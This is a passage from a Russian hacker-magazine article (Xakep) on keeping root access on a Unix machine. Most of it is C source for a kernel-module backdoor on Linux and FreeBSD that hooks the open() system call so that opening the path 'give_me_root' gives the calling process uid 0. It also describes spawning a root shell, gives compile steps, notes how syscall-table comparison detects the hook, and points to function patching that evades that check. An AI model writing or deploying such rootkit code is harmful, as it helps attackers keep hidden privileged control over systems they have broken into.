|
Root поселение на Unix тачке
Xakep, номер #049, стр. 049-086-4 sys_call_table[SYS_open] = our_open; /* заменяем оригинальный указатель на указатель на наш обработчик */ return (0); } void cleanup_module (void) { sys_call_table[SYS_open] = orig_open; /* восстанавливаем оригинальный обработчик */ } А вот как для FreeBSD: /* headers skipped */ #define KEYWORD "give_me_root" /* наше ключевое слово */ static int our_open (struct proc *p, struct open_args *uap) /* протрояненый системный вызов open(). В отличие от линукса, в качестве параметра для функции-обработчика системного вызова передается также структура proc процесса, совершившего данный вызов. Второй параметр - структура с переданными процессом ядру параметрами системного вызова */ { char path[1024]; int mode; copyin (uap->path, path, sizeof(path)); /* копируем первый аргумент функции open() из адресного пространства процесса (uap->path) в адресное пространство ядра (path). */ if (strcmp (path, KEYWORD) == 0) { /* меняем приоритет процесса, сделавшего данный системный вызов */ p->p_cred->pc_ucred->cr_uid = 0; p->p_cred->p_svuid = 0; p->p_cred->p_ruid = 0; return (0); } /* запускаем оригинальный open() */ return (open (p, uap)); } static int module_ops (struct module *module, int cmd, void *args); { switch (cmd) { case MOD_LOAD: sysent[SYS_open].sy_call = (sy_call_t*)our_open; /* заменяем оригинальный указатель на указатель на наш обработчик */ break; case MOD_UNLOAD: sysent[SYS_open].sy_call = (sy_call_t*)open; /* восстанавливаем оригинальный обработчик */ break default: return (EINVAL); } return (0); } static moduledata_t give_me_root = {"give_me_root", module_ops, NULL}; static struct sysinit sys_init = { SI_SUB_DRIVERS, SI_ORDER_MIDDLE, module_register_init, &give_me_root }; static void const * const __set_sysinit_set_sym_syscall_sys_init = &sys_init; __asm(".section .set.""sysinit_set"",\"aw\""); __asm(".long " "sys_init"); __asm(".previous"); Надеюсь, из комментариев все понятно. Последний штрих - написать прогу, которая будет делать нечто вроде open ("give_me_root", 0, O_RDWR), а потом exec () на любимый шелл, и наслаждаться появившимся '#'. Конечно, вышеприведенный пример троянизации системного вызова недорого стоит - он элементарно детектится. Для детектирования достаточно сделать копию таблицы системных вызовов в тот момент, когда система точно не была протроянена, а потом время от времени сверять указатели на функции-обработчики оригинала с копией, что сразу позволит выявить троян в случае его установки в системе. Можно, конечно, копнуть глубже - заменять не указатели, а патчить сами функции-обработчики (об этом подробно писал Silvio Cesare на http://www.big.net.au/~silvio) - тогда простая сверка таблиц уже не поможет, но это тоже относительно "стандартный" способ, который лечится сверкой чексумм тел функций-обработчиков. Технические моменты 1. Компиляция Линуховые модули компилятся совсем элементарно: gcc -c give_me_root.c -o give_me_root.o Фрюшные же немного более гиморно - нужно создать Makefile примерно такого вида: |